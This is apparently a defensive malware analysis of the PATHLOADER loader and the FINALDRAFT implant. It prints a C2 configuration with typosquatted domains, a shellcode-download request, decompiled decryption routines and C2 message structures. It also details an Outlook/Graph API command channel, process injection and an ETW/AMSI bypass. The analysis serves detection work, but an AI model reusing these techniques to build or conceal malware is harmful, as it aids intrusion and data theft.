PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes C2 and other relevant settings.

After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration from PATHLOADER

API Hashing

In order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function. This can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.

String Obfuscation

PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.

One string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.

Execution/Behavior

Upon execution, PATHLOADER employs a combination of GetTickCount64 and Sleep methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (poster.checkponit[.]com, support.fortineat[.]com) attempting to download the shellcode through HTTPS GET requests.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.

After the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.

FINALDRAFT

FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.

Entrypoint

FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called UpdateTask.

Initialization

The malware is initialized by loading its configuration and generating a session ID.

Configuration loading process

The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Decryption algorithm for configuration data

The decryption key is derived either from the Windows product ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.

The decryption key derivation algorithm is performed as follows:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Decryption key derivation algorithm

The configuration structure is described as follows:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Configuration structure

The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.

The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.

Session ID derivation process

The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the Fowler-Noll-Vo (FNV) hash function.

Communication protocol

During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.

The Microsoft Graph API token is obtained by FINALDRAFT using the https://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the configuration.

Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

This token is reused across requests, if it is still valid.

The communication loop is described as follows:

• Create a session email draft if it doesn’t already exist.
• Read and delete command request email drafts created by the C2.
• Process commands
• Write command response emails as drafts for each processed command.

A check is performed to determine whether a session email, in the form of a command response email identified by the subject p_<session-id>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.

The session data is described in the structure below.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Session data structure

The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects r_<session-id>.

After reading the request, emails are then deleted.

Commands are then processed, and responses are written into new draft emails, each with the same p_<session-id> subject for each command response.

Content for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.

Base64(AESEncrypt(ZlibCompress(data)))

Request messages sent from the C2 to the implant follow this structure.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Request message structure

Response messages sent from the implant to C2 follow this structure.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Response message structure

Here is an example of data stolen by the implant.

Commands

FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.

Below is a table of the commands and their IDs:

FINALDRAFT command handler table

Gather computer information

Upon execution of the GatherComputerInformation command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.

This structure is described as follows:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Collected information structure

The external IP address is collected when enabled in the configuration.

This address is obtained by FINALDRAFT using the following list of public services.

IP lookup service list

Process injection

FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.

In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to mspaint.exe or conhost.exe as a fallback.

Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.

Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).

The process injection procedure is basic and based on VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread API.

Forwarding data from TCP, UDP, and named pipes

FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.

Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.

Below is an example screenshot of the recvfrom call from the UDP listener.

Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule interfaces.

FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” and expects the server to echo the same magic value back before beginning to forward the received data.

For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.

File manipulation

For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.

FINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.

It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses GetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl is then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.

For each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.

If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier = 128). Data is then extracted from this attribute and written to the destination file using WriteFile.

Injected Modules

Our team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.

Network enumeration (ipconfig.x64.dll)

This module creates a named pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (Aslire597) as an argument, if the password is incorrect, the module will not run.

As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) and reading the Windows registry keypath (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.

PowerShell execution (Psloader.x64.dll)

This module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code used is taken from PowerPick, a well-known open source offensive security tool.

To evade detection, the module first hooks the EtwEventWrite, ReportEventW, and AmsiScanBuffer APIs, forcing them to always return 0, which disables ETW logging and bypasses anti-malware scans.